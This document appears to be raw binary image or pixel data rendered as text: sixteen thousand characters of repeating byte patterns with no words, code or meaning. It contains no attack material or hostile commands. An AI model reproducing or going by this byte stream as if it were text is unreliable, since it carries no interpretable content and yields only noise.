'-''.91;8>HGMXUYc975<4/7618#"!?69*'$)##&(()!+A56DCL=BP;AL>DKFOVLS]MT^HMWBHQ=AJ;AJ=CLCHRKQ\T[gZbn]er[cpV^jMT`BHR6;D04<04:48@<@GAFPAGQ@EO>CK@FPFLVQXcT\hYanZbo[cp[cp\dq]er\dq\dq^fs\dqU\iMT_EKUAGO=BJ=BK=CMBGQKQ[QXdW_l[cp[cp[cp[cpZboY`mPWcFLW:@I48?-18+/5-0749@>DLKR\U]iYan[cp[cpZboX`mYanYanS[gIP[AHQ5:B-19+/4,/703<8=FAFTJQaQXiU\lV]mV]oV]pW]sX^tY_uY_uX_rX_qX_rX_rX_rX_rW^qW^qX_rX_rX_rY`sY`rX_oW^nV]mV]oW^pV]pV]pU\oV]pV]pW^qV]pU\oW^qW^qW^qX_rX_rX_rX_rX_rX_rX_rX_rX_rX_rX_rX_rX_rU\nT[mRYkRYkRYkSZlSZlT[mQXjSZlSZlQXjQXjSZlU\nU\nV[nSXkRWjTYlUZmSXkRWjTYlQViUZmW\oV[nTYlTYlTYlTYlT[mSZlSZlSZlT[mU\nV]oU\nT[kT[kT[mT[mT[mT[nU\oV]pV]oW^pW^pW^pW^pW^nX_oY`pW^qX_rX_rY`sY`sY`sZatZatZboX`mX`mZbo[cpZboZbo[cpYal\do\do[cn9?K7=I:@L=COBN>BN8:>5:2+2+',-*. !+%)("5%.8'2,$-#&-#*1.1:JBORXdVZfMQ\;>G::BYX^wv|87>OECbVdnj{bev;@L '!:9@__kHHRVP\A9FRJWA>G"#G=BK8>94:94:0.1))*!!# %1P@Ab`n]ez[du]epZdm[cp\dq\dq[cpZboYanZboZboZbo[cp]er]er]er\dq[cp[boX`mY`mX`mYanX`mYanYanZboZbo[cp]er]er\dq[cp[cp\dq\dq]er]er\dq\dq]er^fs]er[cp\dq[cp[cpZboYanYan[cpX`mYanZboZboZboZboZboZboX`mX`mW_lV^kV^jW_lY`lYanZan\dq^fs]er]er^fs]er[cpX`m[cpYanW_lY`mU]jRZfS[hU]iV]kU\nV]nU\nV]oV]mV^kV]oW^pW^qX^tY_uY`sX_qX_qX_qX_qX_qX_qW^pW^pX_qX_qX_rY`sY`rX_oW^nV]mW^pW^pV]pU\oU\oV]pW^qW^qW^qV]pX_rX_rX_rX_rX_rY`sY`sY`sX_rX_rX_rX_rX_rX_rX_rX_rW^pV]oT[mSZlSZlSZlSZlSZlT[mU\nT[mRYkQXjRYkSZlRYkV[nTYlTYlTYlTYlSXkRWjRWjRWjUZmV[nUZmSXkSXkTYlUZmQXjQXjQXjRYkT[mU\nU\nT[mT[kU\lU\nT[mT[mU\oV]pX_rX_qX_qW^pV]oV]oW^nY`pZaqX_qX_qY`rY`rY`rY`rY`rY`rZboYanYanZboZboYanZbo\dq]dt^eu[brW^n;AM8>J;AM=COBN>BNGADKlmr;<>:7>?8<956$"# $,E76b`mck~^gv^fq^hr\dq\dq]er]er]er]er]er^fs\dq]er^fs^fs^fs]er]er]er]er]er]er]er\dq\dq]er^fs\dq]er^fs^fs]er]er]er_gt]er^fs]er\dq\dq]er]er\dq\dq]er]er]er\dq\dq\dq]erZboZboZbo[cp[cp[cp[cp[cpX`m[cp[cpYanZbo]er]er[cpZbo\dq]er]er^fs^fs^fs]erX`m[cpZboZbo[cpYanV^kW_lZboY`pX_qW^pW^pW^pW^nW_lV]mW^nW^pX_rY`sY`rX_oX_oX_oX_oX_oX_oW^nW^nX_oX_oX_rY`sY`rY`pW^nW^nW^pX_qU\oU\oU\oV]pX_rX_rX_rW^qX_rX_rX_rX_rY`sY`sY`sY`sY`sY`sY`sX_rX_rX_rX_rW^qW^pV]oV]oV]oU\nU\nT[mSZlV]oV]oU\nRYkQXjRYkRYkPWiUZmV[nUZmTYlRWjRWjRWjQViSXkUZmUZmTYlRWjSXkTYlUZmQXjQXjQXjSZlT[mU\nT[mSZlU\lU\lV]oU\nT[mU\oW^qY`sY`rX_qW^pV]oW^nW^nX_oY`pW^nY`pZaqZaqY`pX_oX_oY`p[cpZboYanZboZboX`mZbo]er_fy_fx[btW^n7=I6DPBN>BNF1&,!  !)%&1-.B(1I4=#4-5--5 ',2BN=?KHKTADKDGLnruKON+).#"*KITPMXEBM`Yad]e[QZ]RZqdkh\`K/2A2/SMQnp}_euKMZ=:E*'2$ .XVaLFTRGW:2ASP[IFO7,4UDL>376-0>8:2.--D65YYc_hy`gw[cn`jt^fs^fs^fs^fs]er]er]er]er]er]er^fs^fs^fs^fs^fs^fs^fs^fs]er]er\dq]er]er^fs\dq]er^fs^fs^fs^fs_gt`hu^fs]er]er\dq\dq]er]er]er^fs^fs^fs]er\dq[cp\dq]er\dq\dq\dq]er]er]er]er]er[cp\dq\dqZboZbo\dq\dqZboYanZbo[cp\dq\dq]er]er]erZbo[cp[cp[cp[cpZboX`mX`mZboY`pY`pX_qX_qW^nW^nW_lW_lW_lW^nX_qY`rY`pX`mX`mX_oX_oX_oX_oW^nW^nX_oY`pY_uY`sZasY`pX_oW^nX_qX_rV]pV]pV]pW^qX_rY`sX_rX_rY`sX_rX_rX_rY`sZatZatY`sY`sY`sY`sY`sY`sX_rX_rW^qV]oV]oV]oW^pW^pV]oU\nT[mU\nU\nT[mRYkRYkT[mSZlQXjTYlV[nV[nSXkQViRWjRWjQViSXkTYlTYlSXkRWjRWjTYlUZmT[mT[mSZlT[mU\nU\nU\nT[mT[kU\lV]oU\nSZlT[nW^qY`sX_qX_qX_qX_oY`pY`pW^nV]mV^kX`mZboZboYanX`mYanYan\dqZboZboZboYanX`mZbo]er]dt_gt\doZcl6DPBN>BNDP@FRAGS@FRAGSBHTCIUFLXGMYGMYGMYGMYHNZJP\LR^HP]IQ^JR_JR]KS^KS^LT_LT_JR]KS^KS`LTaLTaLTaLT_LT_MU`MU`MU`MU`MU`NVaNVaNVaPVbOUaOUaPVbPVbPVbOUaOUaQWcPVbOUaOUaQWcRXdSYeTZfS[hRZgQYfQYfRZgS[hRZgQYfRZgS[hT[kT[mT[mSZjT\iT\iT\iT\iT\iT\iT\iU]jV^kV^kT\iT\iW_lX`mU]jV^kYanYanY`pX`mX`kX`kX`kYanY`pY`rW^qX_rY`rZasZaqZaq[cp\dq\dq]er]er]er]er]er]er]er]dt]dt]dt]dt^fs^fs^fs^fs^fq_gr`hsaivaivaivahxahx`gwahxahx`gw_fv_fv_fv`gw`gy`gwaivaitaitaitaivahxaiv`hu`hu`huaivaivaivbjwbjwaivaivaiv`hu_gt_gt^fs_gtaivaiv_gt_gtaivaiv_gtaivaivaivaivaivaivaivbjwbjubjubjuaitaivaivaivbjwahx`gzckdk}RV_IJLYTXKAI/#'% '#$U:A:%,!;6=*)1"'*116:8:GFHTRU^FIPIJNjkm^^\,().-3<45ffr\br?AN@=HD>J.(6FCLNFSVKYPHU<9DUR[3)2H8B<15(!7./;55   )H=9ZZbU^mbjwags]er`hu_gt_gt_gt^fs^fs]er]er^fs^fs^fs^fs_gt_gt_gt^fs^fs^fs]er]er]er]er]er]er\dq]er^fs^fs]er]er^fs^fs]er\dq\dq]er]er]er^fs^fs`hu`hu_gt]er\dq[cp\dq]er^fs]er]er]er^fs^fs^fs]er\dq[cpZbo\dq[cpZboZbo[cp[cp[cp[cp\dq\dq\dq\dq]er\dq\dq[cp[cpZboZboZboYanYanY`pZaqZasY`rY`pX_oW_lX`mW_lW^nX_qY`rZaqX`mW_lX`mX`mX`mW_lW_lX`mYanZboY_uZatZasZaqY`pX_qX_qY`sW^qW^qW^qX_rY`sY`sY`sX_rY`sX_rW^qX_rY`sZatY`sY`sZatZatZatZatY`sX_rX_rW^qU\nV]oV]oW^pW^pV]oU\nT[mSZlT[mSZlRYkSZlU\nU\nSZlRWjTYlUZmRWjQViSXkTYlSXkRWjSXkTYlTYlSXkRWjSXkTYlV]oT[mSZlSZlT[mU\nU\nT[mSZjT[kU\nT[mSZlSZmV]pY`sX_qX_qX_oY`pY`pY`pW^nV]mU]hW_jZbmZbmYalYalYal[cn[cpZboZbo[cpYanX`mZbo]er\el^gl]gi\fe8>J7=I:@L>DPDPAGSAGSAGSAGSBHTDJVFLXFLXGMYGMYGMYGMYIO[JP\IQ\IQ\JR]KS^KS^LT_LT_LTaKS^KS^LT_LT_MU`MU`MU`MU`LT_MU`MU`MU`MU`OWbOWbOWbPVbOUaOUaOUaQWcQWcOUaNT`QWcPVbPVbPVbQWcRXdSYeTZfRZgRZgRZgS[hT\iT\iRZgQYfT\gU]jU\lU\lT[kSZjS[hT\gRZgT\iU]jW_lW_lV^kV^kU]jU]jU]jX`mX`mU]jU]jX`mX`mY`pYanX`kX`kX`kYanZaqZasX_rY`sY`sZasZaq[br[cp\dq]er]er]er]er]er]er\dq\dq]dt]dt]dt^eu^fs^fs_gt_gt_gr_gr`hsaivaivaivahxahxahxbiyahxahx`gw`gw`hu`huahzahxaivaitaitaitaivbiyaivaivaivaivaivaivaivbjw`hu`huaivaivaivaivaivaiv`huaivaiv`hu`huaivaiv`hubjwaivaivaivaivaivbjwbjwbjuaitaivaivaivahxahxahxcjzah{aiahz\ck`acTOS@6>& +%%! -#$3')aCK,-$)@>C$!(!$%*+04>BNX\gVYbQRWXXZmklPLI:46'"(&%-BDPEGT)20;nkt_YeVPZZS[\SXZMTgX]n]e`OWR:66*,SQ\Y\kACO<9DJBO;5C/,3MEPPDPUMZ/,5FCJFJ:@L>DPa_lWT_RMTQHMQFJ]PWjYahWaeIHD39FDOPT_MPY85>E=HSKX+&,4*2=1;KDL96=*)/HAHB5<.#)($$".(**&'  &`ch\frV^iciu_fv_gt_gt_gt_gt`huaivaiv`hu`hu`hu_gt_gt`hu`hu`hu_gt_gt^fs^fs_gt_gt_gt]er\dq_gt^fs^fs^fs]er]er^fs^fs]er\dq]er^fs_gt]er]er^fs_gt`hu`hu_gt]er]er^fs_gt]er\dq[cp\dq]er^fs]er\dq[cp[cp[cp\dq\dq\dq]er]er^fs\dq\dq^fs^fs^fs^fs`hu_gt\dq^fs^fsZboZbo\dqYanYanZbo[br[bt[btZaqYanX`mX_oW^nW^pX_rZatZasY`pW^nY`pY`pX_oW^nW^nW^nY`pZaqZ`vZ`v[buZasY`rY`rZatZatY`sX_rX_rY`sZatZatY`sX_rZatX_rX_rX_rZat[buZatY`sZatZatZat[buZatY`sY`sX_rX_qX_qX_qX_qX_qW^pV]oU\nSZlU\nU\nSZlSZlU\nU\nT[mSYiRXhQWgRXhRXhRXhSYiTZjRWjRWjRWjTYlSXkRWjQViSXkT[kSZjQXhQXhRYiSZjT[kSZjT[kT[kT[mSZlSZlT[nW^qY`sY`pY`pX_oW^nW^nW^nX`mYanW_lX`mYanYanYanYanYanYanZboYanYan[cp[cpZboYan[cp]fk_ik\feZe_8>J7=I;AM?EQ>DPK^\gYV]D>BODH`SZbR\bQ[`BDK:@?DP>DP=EPEADP=CO=CO=CO;AM9?K:@L:@L:@L;AM;AM;AM;AM?CO>BN>BN?COAEQ?EQ>DP=CO=CO?EQBHTCIUDJVDJVEKWFLXIQ^HP]HP]JR]JR]HP[HP[JR]KS^KS^LT_LT_MU`MU`MU`MU`MS_MS_NT`OUaPVbQWcQWcQWcPVbPVbOUaNT`NT`PVbPVbPVbPVdPVdPVdPVdPVdPVdPVdPVdQYfQYfQYfRZgS[hT\iT\iT\iT\iT\iT\iT\iT\iU]jU]jU]jV^kU]jU]jV^kW_lW_lW_lV^kV^kW_lX`mX`mX`mX`mX`mX`m[cp[cp[cp[cp[cp[cp[cp[cpYanZboZboZbo[cp[cp[cp[cp\cs^eu`gw_fv]er]er^fs`hu_gt_gt_gt_gt`hu`huaivaivaivaivaivaivaivaivbjwbjwbjwaivaivckxbjwaivaivckxbiybiybiycjzdk}dk}cj|cj|el|dk}dk}dk}el~el|emzdlwbjwbjwckxcjzcjzcj|cj|cj|emzdlyckxdlyemzfn{emzdlyckvdlwdlyemzemzemzemzemzemxemxemzemzfm}fmel~dk}dm~enfo~fp|eo{dnzdm|dm~cidk~cl}cj|jogft0+/$ "1'%.X9?S55#762(""$ !<:;B9DP=CO=CO?CO=AM9?K9?K:@L:@L;AM;AMDP@FRBHTCIUDJVEKWFLXGMYIQ^GO\HP]IQ^JR]HP[HP[IQ\KS^LT_LT_MU`MU`MU`MU`MU`NT`NT`OUaOUaPVbQWcQWcQWcQWcPVbPVbOUaOUaPVbPVbPVbQWeQWeQWeQWeQWeQWeQWeQWeRZgQYfQYfRZgT\iT\iT\iS[hT\iT\iT\iT\iU]jU]jV^kV^kW_lV^kV^kV^kW_lX`mW_lV^kW_lW_lX`mX`mX`mX`mYanYanZboZboZboYanYanZboZboZboYanZboZbo[cp\dq]er]er^fs^fs_gt`hu`hu^fq^fq_gr`hs`hu`hu`hu`hu`huaivaivbjwbjwaivaivaivbjwbjwbjwbjwdlybjwbjwckxckxaivaivbjwbiycj|cj|dk}dk}dk}dk}dk}ekekdjdjfmfm}emzemxckvckvckxcjzcj|cj}cj}cifn{dlyckxdlyfn{go|fn{dlydlwemxfnygozgo|fn{emzemzfnyfnyemzfn{gn~gnfmelememfo~fp|fp|eo{eo{en}gkcielellodbp1,0)" ,+ *X;@Q40 66. +%%4..=32t^Q}̶Ʋ}upeagac\[aPT_djxgnxGNX26?=@GWT[LEMJ=FZJTaQT]HM\EOO:CKDPBN>BN<@L9?K9?K:@L:@L;AM;AM.'*2$-X?CK/+ +650 /'%*#J=7teһ˺̾ŷwola]b\^SS[RVaX_i\cmMQ\;>GJIQLFPI=GM@J[LO\GNW=FW@HF39aQTS?A<#'/*C49?48>58("%'!! % ?@Ddlw_hwel|emzckxaiv`hu`hu`hu`hu`huaivbjwckxckxckxckxckxckxaivckxckxaivaivckxckxaiv_gt`hu`hu_gt_gt_gt_gt_gt_gt_gt_gt^fs^fs_gt`hu`huaivaivaiv_gt^fs^fs_gt_gtaivaiv`hu_gt_gt_gt_gt_gt_gt_gt^fs^fs]er]er]er]er_gt_gt^fs]er]er^fs_gt`hu]er]er\dq]er_gt`hu^fs]er]dt]dt]dt\cu\cu\cu\cu\cuZasZas[bt\cu^ew^ew]dv\cu]dw]dw\cuZasX_qY`p[br]dt]dt\cs[br[bt[bt\cu\cv[bu[bt[bt[bt[bt\cu]dv]dt]dtZatZatZatZatZatZatZatY`sY`sZatX_rW^qZatZatY`sZatY`rX_qX_qX_qX_qX_qX_qW^pU\oU\oT[nU\nV]oV]oU\lSZjUZmSXkRWjSXkSXlRWkRWkSXlTYlTYlTYlTYlTYlUZmUZmUZmT[nT[mU\nU\lU\lU]jT\iT\iT]fT]fT]fT\gT\gU]hV^iW_jV^iV^iW_jV^kV^kV^iW_jX`kX`mX`mYanYanZboZboX`mW_lY`pZaq[cp[cp[cpZboZboYanZbo\do]ep[dm;AM:@LDP>BN>BN>BN;?K9?K9?K:@L:@L;AMBN>BN?COAEQ@FR?EQ?EQBHTBHTBHTCIUCIUEKWGMYHNZGO\FN[GO\JR_JR_IQ\IQ\JR]LT_LT_MU`MU`NVaNVaNVaNVaOUaPVbPVbPVbPVbPVbQWcRXdQWcPVbPVbQWcPVbPVbPVbRXdSYgSYgSYgSYgSYgSYgSYgSYgRZgRZgS[hT\iU]jU]jU]jU]jU]jU]jU]jU]jV^kW_lW_lX`mX`mX`mX`mW_lV^kV^kV^kV^kW_lYanZbo[cpZboZbo[cp\dq[cp\dq\dq\dq]er^fs_gt_gt^fs^fs^fs^fs]er]er]er]er_gt_gt_gt`hsaitbjubjubjubjwaivaivaivaivaivaivbjwbjwbjwbjwckxckxckxdlydlyel|cjzcjzdk{el|cjzcjzdk{cjzdk{el|el|fmfmfmfmfmfmflflflfmfm}gn~fn{fn{fn{fm}fm}fmfmfmfmel~dk{el|go|iq~hp{gozgo|go|hp}hp}hp}gn~fm}fm}gn~fm}fm}gn~hoiphohohqgpfo~fp|fp|gq}gpgphndjfohofkgfvNIO3+( 10 + K79G+(!:95$,!$^MC{jԺǵϻȷ˴xe^bWU[Y\MNSJNYVZeTW`36?,+3<6@E>F>2DL2;Y@FF16_LNZDGG,1:&(0I9BN>BN>BN<@L:@L:@L:@L;AM;AM;AMDP?EQ>FQ>FQBHTBHTCIUCIUDJVFLXGMYHNZIQ^HP]IQ^KS`LTaJR_JR]KS^LT_LT_MU`MU`NVaNVaNVaNVaPVbPVbQWcPVbPVbPVbQWcRXdQWcPVbPVbQWcQWcPVbQWcSYeSYgSYgSYgRXfRXfSYgSYgSYgRZgS[hT\iU]jV^kV^kV^kV^kV^kV^kV^kV^kV^kW_lW_lX`mW_lX`mX`mW_lV^kV^kV^kX`mX`mZbo\dq\dq[cpZboZbo[cpZboZbo[cp[cp\dq\dq]er]er^fs^fs^fs^fs^fs^fs_gt_gt_gt`huaivaivaivaitbjuckvckxckxckxbjwbjwckxckxckxdlyemzemzemzdlydlyemzfn{gn~el|dk{el|el|dk{cjzcjzckxemzfn{fn{fm}fm}gn~gn~fm}gnhognfmfmgnhofn{fn{fn{fn{fn{fn{emzemzgnfmfmfm}hp}iq~hp{hp{gn~gn~hohohohohognhohognhohoiq~hp}hp{hqgq}fp|fp|gq}gpgpfnfnhpdphpioghzURY3.+ +! 52$.&#=//A'($756&#(kYKoзîʵθԾӽн±Ѻ~sn_Xjb`YWZRP[JJTOOY::B,+3:7@NIPHAIJ@HN=EN4=W.1B364*+* !     )$()!+),cgrdk{gnfn{go|go|fn{fn{fn{fn{fn{fn{dlyckxbjwckxckxbjwbjwaiv`huaivbjwbjwaiv`huaiv`huaivaiv`hu`huaivaiv`hu`hu`hu_gt_gt_gt_gt_gt_gt_gtaivbjwaiv_gt_gt_gt^fs_gt`hu_gt^fs]er_gt_gt_gtaiv`hu`hu_gt_gt_gt_gt_gt_gt`hu`hu`hu_gt_gt`huaivbjwaiv^fs]er^fs`hu_gt\dq]er]er]er]er^fs^eu^eu^eu[bt[bt[bt]dv^ew_fx^ew^ew\cv]dw^ex]dvZaqZaq[cp]er^fs^fs^eu^eu]dv\cv\cv\cv]dv\cu[bt[bt]dt^eu^eu]dtY`sY`sZatZatZatZatZatZat[bu[buY`sX_rZatY`sX_rY`sY`rY`rX_qX_qX_qW^pW^pV]oV]pU\oT[nU\nU\nU\nT[kSZjSYiSYiTZjV\lV[nSXkQViRWjTYlUZmUZmTYlTYlV[nV[nUZmT[nT[nU\nU\nU\lU\lT\iT\iU]hU]hU]hT\iT\iT\iU]jU]jV^iW_lX_oW^pV]oV]mW_lYalYanX`mX`mYanZboZboYanX`mZaqZaq[br[br[cpZboZboZbo\dq\dq\do\en=CODPAEQ?CO?CO?CO<@L:@L:@L:@L;AM;AM;AMFQ>FQ?GRAGSBHTCIUDJVEKWFLXGMYHNZJQaIQ^JR_MUbMUbKS`KS`LTaLT_LT_MU`NVaNVaNVaNVaNVaPVbQWcQWcQWcPVbPVbQWcRXdQWcPVbQWcRXdQWcPVbQWcSYeSYgRXfRXfRXfRXfRXfRXfSYgRZgT\iU]jV^kV^kV^kW_lX`mV^kV^kV^kV^kV^kW_lW_lX`mV^kW_lX`mW_lV^kV^kW_lYanX`m[cp]er^fs\dqZboZbo[cp\dq]er]er^fs^fs^fs^fs^fs]er]er^fs^fs_gt`huaivaiv_fvahxbjwbjwaiv`hubjwdlydlydlydlydlydlydlydlyemzfn{fn{go|fn{emzemzfn{go|fm}dk{cjzel|fm}el|el|el|dlyemzfn{go|fn{fn{go|hofn{hoiphognfmhoiphohohp}hp}hp{hp{gpygpygngngngn~hp}hp}hp{hp{gn~gngnhohohoipipjpiohohohohp}hp{gpygq}gq{gq{gq}hr~hqgoemdljvco}fqmshi}VU]2.- +'93) '$)GHGOA@H0/7-,2=:AE@GB;CD4>H1;K28Q:@F24dMSX=D<#&='*8%'D58=13/%$ !  +  )$('&*%)`do^eubi{bjwckxemzemzdlydlyemzemzhp}fn{ckxbjwckxckxaiv`huaiv_gt`hubjwbjw`hu`huaivaivbjwbjwaivaivbjwbjwaiv`hu`hu`hu`hu_gt_gt^fs^fs]er`hubjwaiv`hu`hu_gt^fs^fs_gt_gt]er]er_gt_gt^fsaivaiv`hu`hu`hu`huaivaiv`hu`huaiv`hu_gt_gtaivbjwbjwaiv^fs\dq^fsaiv`hu^fsZbmZbm[cn[cp\dq\dq]er]er\cu\cu\cu]dv_fx`gy_fx_fxZat\cv^ex^ew\cs[cp[cp]er\dq]er]er]dt\cu\cv]dw^ex^ew\cu[bt\cu]dt^eu^eu]dtZatZatZatZatZatY`sY`sZat\cv\cvY`sX_rZatY`sW^qX_rY`rX_qW^pW^pW^pW^pV]oU\nW^qU\oT[nT[mT[mT[mRYiQXhU[kSYiSYiTZjTZjRXhRXhSXkTYlUZmUZmSXkSXkUZmUZmTYlU\oU\oT[mT[mT[kT[kU]jU]jU]jU]jU]jT\iT\iT[kT[kU\lU]hV^kX_qX_rW^qW^pX`mYalX`mX`mW_lX`mZboZboZboYan[br[br\cs\cs[cp[cp[cp[cp_gt[cpZbm]fo>BN>BN@DPBFRAEQ>BN=AM>BN<@L<@L;AMDP?EQ@FRBFRCGSBHTCIUDJVEKWEMXFNYHP[JR]HP[IQ\KS^KS^KS^KS^KS^LT_NT`OUaOUaPVbQWcQWcQWcQWcPVdPVdQWePVdPVdPVdQWeRXfPVdPVdQWeRXfSYgTZhSYgRXfRZgS[hS[hRZgRZgT\iU]jT\iS[hU]jV^kU]jU]jW_lW_lV^kT\iV^kW_lX`mX`mX`mX`mX`mU]jW_lX`mYanYanYanYanZboZbo[cp\dq\dq\dq\dq\dq]er]er]er\dq\dq]er^fs_gt`hu`huaiv`hu^fs_gtaivbjwaivaivbjwaiv`huaivckxdlyckxdlydlydlyckxcjzcjzdk{fm}dnxdnxeoyeo{dnzdnzeo{fp|eo{en}enenemenfofo~cmydnzeo{eo{eo{eo{eo{fp|fo~gphqgpgpfo~fo~gphohohohp}hp}hp}go|go|gnhoipiphp}hp}hp{iq|hohp}hp}hp}hp}ipipipjqjqiphohohohohohohohohohohohohompipjrjufqgm{VV`,)0%3B 3'* 7$* *"A/+p\Qi}Ȱ϶Ҽðijó̷írwf^bSNNQZSS[BAIFCJ=:A# )..6@@H;>CJ?GF/7>(+I9:@44WDJ]CNH)'; 4 ?/23(,(  +   + $)+! )%$]^cflzdlfp|fp|fp|eo{eo{cmyblxblxdlyfn{emzbjwbjwemzemzbjwaiv`hu`hu`huaivbjwaiv`huaivaivaivaivaivaivaiv`hu`hubjwbjwaivaivbjwaiv_gt_gt`hubjwbjwaiv`hu_gt_gt`huaivaiv_gt_gt`hu`hu_gtaivaivaivaivaiv`hu`hu_gtbjwaiv_gt_gt`hubjwbjwbjwaiv_gt^fs^fs^fs_gt_gt_gt[cp]er_gt^fs]er]er]er\dq[bt\cu]dv^ew_fx_fx^ew^ew^ew^ew^ew]dt]dt\dq\dq]er]dv]dv]dv]dv]dv]dv]dv]dv^ew^ew^ew^ew]dv]dv\cu[btZatX_rY`s[bu\cvZatY`sY`s\cv]dw\cvZatW^qV]pW^qY`sW^pX_qW^pV]oW^pY`rX_qV]oV]oSZlU\nV]oRYkSZlV]oSZlT[mPWiQXjT[mT[mPWiPWiSZlT[mT[mT[mU\nV]oV]oU\nT[mU\nU\nV]oV]oV]oV]oU\nU\nU]jW_lW_lU]jT\gU]hV^iU]hY`pW^nU\lU\lW_lYanX`mW_lX`mX`mX`mX`mX_oW^nW^nW^nYanYanYanYanZboZboZboZboZboYanYan[cp>BN>BN?COAEQAEQ>BN=AM>BN<@L=AM;AM=BBAGB7?F18A+.@22:01O@ES>GL..=#$5!#=-01%'(      )$(-''Z[`flxfodnzdnzdnzdnzdnzcmyakwakwdlyfn{fn{ckxckxfn{emzbjwaivaivaivbjwckxckxbjwaivckxckxckxckxckxckxckxbjwaivbjwbjwaivaivbjwaiv`hu`hu`huaivaivaivaivaivaiv`huaivaiv_gt_gtaivaiv`hu`huaivaivaivaivaiv`hu`hubjwbjw`hu`hu`huaivaivbjw`hu_gt^fs^fs^fs_gt`hu`hu]er^fs^fs]er]er]er]er]er\cs]dt]dt^eu^eu^eu^eu_fv^eu^eu^eu^eu^eu^eu^eu^eu]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv^ew^ew]dv\cu[buZatZat\cv\cv[buY`sZat]dw\cvZatY`sY`sY`sX_rW^qW^pX_qX_qV]oW^pX_qX_qV]oU\nSZlU\nV]oSZlT[mU\nRYkRYkPWiQXjT[mT[mRYkRYkT[mT[mT[mT[mU\nV]oV]oV]oV]oW^pW^pW^pW^pW^pW^pW^pV]oV^kX`mYanX`mW_lW_jW_jV^iY`pX_oW^nW^nV^kW_lW_lW_lX_oX_oX_oX_oX_oX_oX_qW^pYanYanYanZboZbo[cp[cp[cpZboYanX`mYan>BN=AM>BN@DPAEQ?CO>BN>BN=AM=AM;AMFQ=EP3;H5;D029++6,-K?CL=DK33:$&1 7'** $!   !  "-!!$2,,[Z_hlwfm}dnzdnzeo{eo{eo{dnzblxblxdlyfn{fn{dlydlyfn{emzbjwbjwbjwbjwdlydlydlyckxaivckxckxckxdlydlydlyckxckxbjwckxbjwaivaivbjwbjwbjwbjwaivaivaivaivbjwaivaiv`hubjwaiv`hu`hubjwbjwaiv`huaivaivaivaivaivaivaivckxbjwaiv`hu`hu`huaivaiv`hu`hu^fs^fs^fs_gt_gt`hu_gt_gt]er\dq\dq^fs^fs^fs]er]er]er]er^fs^fs_gt_gt_gt_gt_gt_fv_fv_fv^ew^ew]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv]dv^ew^ew^ew]dv]dw[bu[bu]dw]dw[buY`sZat\cv[bu[buZatZatY`sW^qW^qX_qY`rX_qV]oV]oX_qW^pU\nT[mSZlU\nV]oT[mT[mT[mRYkQXjQXjRYkSZlT[mU\nU\nU\nV]oU\nT[mT[mU\nV]oW^pW^pX_qW^pV]oV]oW^pW^pW^pW^pV]mX_oZboZboYanYanW_lV^kY`pY`pY`pX_oV^kU]jV^kW_lX_oX_oX_qY`rY`rY`rY`rY`rX`mX`mX`mYanYanZboZboZbo[cpYanX`mX`m=CO;AM;AM>DP?EQ=COFQ>FQ>FQ@FRBHTCIUDHTCGSFLXFLXGMYGMYFNYGOZIQ\JR]JR]KS^KS^KS^JR]KS^MU`NVaOUaPVbPVbPVbPVbPVbQWcQWcRXfRXfQWeQWeQWeRXfSYgSYgSYgSYgSYgRXfQWeQWeSYgTZhT\iT\iS[hS[hT\iW_lV^kS[hU]jW_lV^kU]jU]jW_lX`mW_lW_lW_lX`mX`mW_lW_lW_lW_lW_lX`mYanZboZboZboZbo[cp[cp\dq]er]er]er]er]er^fs_gt_gt_gt_gt_gt_gt_gt_gt`huaivaivaivaivbjwbjwaivaivdlyemzckxbjwckxdlyckxckxemzfn{go|gn~fm}el|el|en}en}fo~gpfofogpgpfp|gq}gphqhqgpgpfo~hr~gq}fp|gq}hr~hr~hr~gq}iriririrhqhqhqhqipipjqkrkrksksksipjqkrkrjrjrjrksjqkrltmumulskrjqkrlslsmtlskriphojqjqjqjqjqkrkrkrkqjqjrltltmtehwKMZ%<@!1 =*0 %! +! O>6r_Pxa{εԾĶŴ±лƯwqq]RSD?@;??AM25D)&D=D=28D58C347))1'(G>CJ@HJ679''./ &#&  ""   &, "'5//_^cimxckxfp|fp|gq}gq}gq}fp|eo{dnzemzfn{fn{dlyemzfn{emzckxckxckxckxdlyemzemzckxbjwbjwbjwckxckxckxckxckxbjwckxckxckxbjwbjwckxckxbjwdlyckxbjwbjwbjwbjwaiv`huaivbjwbjw`hu`hubjwckxbjwaivaivbjwbjwbjwbjwaivaivbjwbjwbjwaiv`hu`huaivbjwbjwaiv`hu_gt_gt_gt_gt^fs`hu_gt]er\dq\dq^fs^fs^fs]ep]ep^fq^fq^fq_gr_gr_gr`ir`hs`hs`hu_fv_fx]dw]dw^ew^ew^ew^ew^ew^ew^ew^ew^ew]dv]dv]dv^ew^ew^ew]dv^ex\cv[bu]dw]dw[buY`sY`sX_r[bu^ex\cvY`sV]pW^qY`sX_qY`rX_qW^pV]oW^pW^pU\nT[mT[mU\nU\nT[mT[mSZlRYkRYkT[mU\nT[mT[mW^pW^pU\nW^pV]oU\nU\nU\nV]oW^pW^pW^pV]oU\nU\nV]oW^pV]oV]oU\lV]mX_oY`pY`pX`mW_lU]jX_oY`pY`pX_oV^kU]jV^kW_lW^pW^pX_qY`rZatZatZatZatW_lW_lW_lX`mX`mX`mX`mX`m[cpZboYanYan=CO;AM;AM>DP?EQ=COBN=AM;AMDP>FQ>FQ=EP=EP=EP>FQ@FRAGSBHTCGSCGSEKWFLXFLXFLXEMXFNYHP[IQ\KS^KS^KS^KS^KS^KS^MU`OWbOUaPVbQWcQWcPVbPVbQWcRXdSYgRXfQWeQWeQWeRXfSYgTZhRXfRXfRXfQWeQWeRXfTZhU[iU]jU]jT\iT\iU]jX`mV^kT\iW_lW_lW_lU]jU]jW_lX`mX`mV^kW_lX`mX`mX`mX`mYanYanX`mYanZbo[cp[cpZbo[cp[cp[cp\dq^fs^fs]er]er^fs_gt`hu`hu_gt_gt_gt_gt`hu`huaivaivaivaivbjwbjwbjwckxaivemzfn{emzdlydlyemzdlyemzfn{go|go|fm}el|fm}fm}en}fo~hqhqgpgphqhqgq{hr~hqirirhqhqgq}ishr~gq}gq}hr~isishr~jsjsjsiririririrjqkrkrkrkrkrjrjrjrksltltkrkrkrlsjqkrlsmumultkrjqkrlslsmtlskrjriq~jqjqjqjqkrkrkrkrlriplsnukrqxntQWg4.8)=B# 1 + $?,2&#+!RA7o\KxayƮʹîͺƵʻο˼տθrdeQHE;22:,,."$?6;HCIJ:=<,/-+$"* !%  